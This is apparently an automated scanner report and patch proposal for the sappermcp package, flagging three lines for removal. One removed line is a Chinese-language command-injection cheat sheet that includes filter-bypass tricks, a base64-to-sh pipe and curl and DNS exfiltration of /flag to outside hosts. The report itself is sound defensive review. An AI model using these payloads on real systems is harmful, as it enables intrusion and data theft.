Propose a patch

Evidence

The sandbox observed nothing beyond the static findings; the proposal cites those.

diff --git a/kb/entries/kb007.json b/kb/entries/kb007.json
--- a/kb/entries/kb007.json
+++ b/kb/entries/kb007.json
@@ -5,1 +5,0 @@
-"detail": "分隔符：; | || && 换行 $( ) 反引号\n空格绕过：$IFS $IFS$9 <重定向 %09\n关键字绕过：ca${x}t、拼接 c'a't、base64: echo Y2F0IC9mbGFn|base64 -d|sh\n无回显：curl http://MY/`cat /flag|base64`、dns 外带 `cat /flag`.xxx.ceye.io\n写 
diff --git a/lib/sapper.py b/lib/sapper.py
--- a/lib/sapper.py
+++ b/lib/sapper.py
@@ -4527,1 +4527,0 @@
-sp.add_argument("--agents", action="store_true", help="also write AGENTS.md")
diff --git a/sappermcp/gui.py b/sappermcp/gui.py
--- a/sappermcp/gui.py
+++ b/sappermcp/gui.py
@@ -239,1 +239,0 @@
-_sw("--agents", "also write AGENTS.md"),

Zero-context hunks: apply with git apply --unidiff-zero fix.patch on the tagged source of 0.1.0. If the behavior is intended, declare it (host under permissions.network, a line in the README) instead of removing it; the next crawl scores declarations.

Issue / PR body

Title: sappermcp: Host or command assembled from base64 fragments (KillerSkills verdict caution 56)

## What the honeypot observed
KillerSkills ran **[email protected]** in an isolated sandbox (decoy credentials, recording proxy, syscall trace; engine 1.7) and scored it **CAUTION 56/100**. Summary: no network, touches nothing outside the project, writes no memory.

- See the findings below.

Full trace and findings: https://killerskills.ai/skills/glama/sappermcp/0.1.0

## Findings with a location
- `kb/entries/kb007.json:5` · Host or command assembled from base64 fragments — kb/entries/kb007.json:5 · Host or command assembled from base64 fragments
- `lib/sapper.py:4527` · Instructs the agent to modify its persistent memory or instruction files — lib/sapper.py:4527 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file
- `sappermcp/gui.py:239` · Instructs the agent to modify its persistent memory or instruction files — sappermcp/gui.py:239 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file

## Proposed change
The attached patch removes the 3 lines above. If the behavior is intended, the fix is to declare it instead: list the host under `permissions.network` (or the MCP manifest) and say in the README why the package needs it; the next crawl will re-score it with the declaration taken into account.

## How this will be verified
Nothing is "verified safe" by assertion. When a new version is published, KillerSkills re-runs it in the honeypot and the verdict page updates; you can trigger it early from the verdict page ("Re-scan after I publish a fix"). Reply here or at [email protected] if you believe the verdict is wrong; disputes are reviewed by a person and the outcome is published on the verdict page.

_Proposed through killerskills.ai/threats by a user of the package, under their own GitHub account. The evidence is public; the package was never modified by KillerSkills._